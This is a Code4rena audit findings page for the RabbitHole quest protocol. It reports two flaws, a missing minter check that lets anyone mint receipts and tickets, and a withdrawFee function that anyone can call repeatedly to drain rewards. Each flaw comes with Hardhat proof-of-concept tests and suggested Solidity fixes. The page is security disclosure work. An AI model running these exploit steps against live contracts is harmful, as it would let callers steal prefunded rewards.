Platform: Code4rena
Start Date: 25/01/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 173
Period: 5 days
Judge: kirk-baird
Total Solo HM: 1
Id: 208
League: ETH
Rank: 147/173
Findings: 2
Award: $3.34
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: adriro
Also found by: 0xMAKEOUTHILL, 0xMirce, 7siech, AkshaySrivastav, AlexCzm, Awesome, Aymen0909, Cryptor, Deivitto, DimitarDimitrov, ElKu, Garrett, Jayus, Josiah, Kenshin, KrisApostolov, RaymondFam, SovaSlava, Timenov, UdarTeam, amaechieth, btk, c3phas, codeislight, fellows, frankudoags, gzeon, hansfriese, luxartvinsec, millersplanet, mookimgo, navinavu, oberon, paspe, pavankv, petersspetrov, pfapostol, prestoncodes, rbserver, sakshamguruji, shark, thekmj, trustindistrust, tsvetanovv, usmannk, vagrant, vanko1, xAriextz, yosuke
2.5852 USDC - $2.59
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L59 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L48
onlyMinter role check is not properly setup, where it bypass the check, instead of including a require statement for the boolean stated, the code only has an explicit boolean value which would not check for onlyMinter role, that's also could have been found if there were more thorough unit testing coverage. minting new tickets and receipts would lead for the users to be able to claim the rewards until the contract is drained of all the prefunded rewards.
the following is a POC of RabbitHoleReceipt.mint() being callable by any caller
describe('vulnerable mint receipt by any caller', () => { it('mints a token with correct questId unexpectdly by anyone', async () => { let expectedMinter = await RHReceipt.minterAddress() // ensure that the caller is not the minter expect(expectedMinter).to.not.eq(firstAddress.address) await RHReceipt.connect(firstAddress).mint(firstAddress.address, 'def456') expect(await RHReceipt.balanceOf(firstAddress.address)).to.eq(1) expect(await RHReceipt.questIdForTokenId(1)).to.eq('def456') }) })
the following is a POC of RabbitHoleTickets.mint() and RabbitHoleTickets.batchMint() being callable by any caller
describe('vulnerable mint ticket by any caller', () => { it('mints 5 tokens unexpectdly by any caller', async () => { let expectedMinter = await RHTickets.minterAddress() // ensure that the caller is not the minter expect(expectedMinter).to.not.eq(firstAddress.address) await RHTickets.connect(firstAddress).mint(firstAddress.address, 1, 5, '0x') expect(await RHTickets.balanceOf(firstAddress.address, 1)).to.eq(5) }) }) describe('vulnerable mintBatch ticket by any caller', () => { it('mints 5 tokens with correct questId unexpectdly by any caller', async () => { let expectedMinter = await RHTickets.minterAddress() // ensure that the caller is not the minter expect(expectedMinter).to.not.eq(firstAddress.address) await RHTickets.connect(firstAddress).mintBatch(firstAddress.address, [1, 2, 3], [6, 7, 8], '0x') expect(await RHTickets.balanceOf(firstAddress.address, 1)).to.eq(6) expect(await RHTickets.balanceOf(firstAddress.address, 2)).to.eq(7) expect(await RHTickets.balanceOf(firstAddress.address, 3)).to.eq(8) }) })
error NotMinter(); modifier onlyMinter() { if(msg.sender != minterAddress) revert NotMinter(); _; }
#0 - c4-judge
2023-02-05T03:46:18Z
kirk-baird marked the issue as duplicate of #9
#1 - c4-judge
2023-02-14T08:39:22Z
kirk-baird marked the issue as satisfactory
🌟 Selected for report: adriro
Also found by: 0xRobocop, 0xmrhoodie, 0xngndev, AkshaySrivastav, ArmedGoose, Atarpara, Bauer, CodingNameKiki, ElKu, Garrett, HollaDieWaldfee, IllIllI, Iurii3, KIntern_NA, KmanOfficial, Lotus, M4TZ1P, MiniGlome, Ruhum, SovaSlava, bin2chen, bytes032, carrotsmuggler, cccz, chaduke, codeislight, cryptonue, doublesharp, evan, fs0c, glcanvas, gzeon, hansfriese, hihen, hl_, holme, horsefacts, ladboy233, lukris02, mahdikarimi, manikantanynala97, martin, mert_eren, mrpathfindr, omis, peakbolt, peanuts, prestoncodes, rbserver, rvierdiiev, sashik_eth, timongty, tnevler, trustindistrust, usmannk, wait, yixxas, zadaru13, zaskoh
0.7512 USDC - $0.75
https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L76
the following is an illustration of the vulnerability which can be pasted in Erc20Quest.spec.ts test cases:
describe('withdrawFee() VULNERABLE', async () => { it('should transfer protocol fees back to owner', async () => { const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address) await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature) await deployedQuestContract.start() await ethers.provider.send('evm_increaseTime', [86400]) expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0) await deployedQuestContract.connect(firstAddress).claim() expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(1 * 1000) expect(beginningContractBalance).to.equal(totalRewardsPlusFee * 100) await ethers.provider.send('evm_increaseTime', [100001]) let expectedFees = await deployedQuestContract.protocolFee() let protocolFeeRecipient = await deployedQuestContract.protocolFeeRecipient() let preRecipientBalance = await deployedSampleErc20Contract.balanceOf(protocolFeeRecipient) // being called by other than the admin, in this case `firstAddress` await deployedQuestContract.connect(firstAddress).withdrawFee() // calling multiple times withdrawFee which would withdraw from remaining tokens until fully drained await deployedQuestContract.connect(firstAddress).withdrawFee() let postRecipientBalance = await deployedSampleErc20Contract.balanceOf(protocolFeeRecipient) // check that `protocolFeeRecipient` has received more than `expectedFees` expect(postRecipientBalance.sub(preRecipientBalance)).to.gt(expectedFees) await ethers.provider.send('evm_increaseTime', [-100001]) await ethers.provider.send('evm_increaseTime', [-86400]) }) })
add an admin check to be only callable by the admin or/and add a one time calling mechanism for the function to avoid the function to be called multiple times. for Quest contract:
/// @notice Prevents reward withdrawal until the Quest has ended modifier onlyWithdrawAfterEnd() { if (block.timestamp < endTime) revert NoWithdrawDuringClaim(); _; }
for Erc20Quest contract:
error AlreadyProtocolFeeClaimed(); bool public isProtocolFeeClaimed; /// @notice Sends the protocol fee to the protocolFeeRecipient /// @dev Only callable when the quest is ended function withdrawFee() public onlyOwner onlyWithdrawAfterEnd { if(isProtocolFeeClaimed) revert AlreadyProtocolFeeClaimed(); // only called once isProtocolFeeClaimed = true; IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee()); }
#0 - c4-judge
2023-02-05T03:47:53Z
kirk-baird marked the issue as duplicate of #23
#1 - c4-judge
2023-02-14T08:54:38Z
kirk-baird changed the severity to 3 (High Risk)
#2 - c4-judge
2023-02-14T09:00:20Z
kirk-baird marked the issue as satisfactory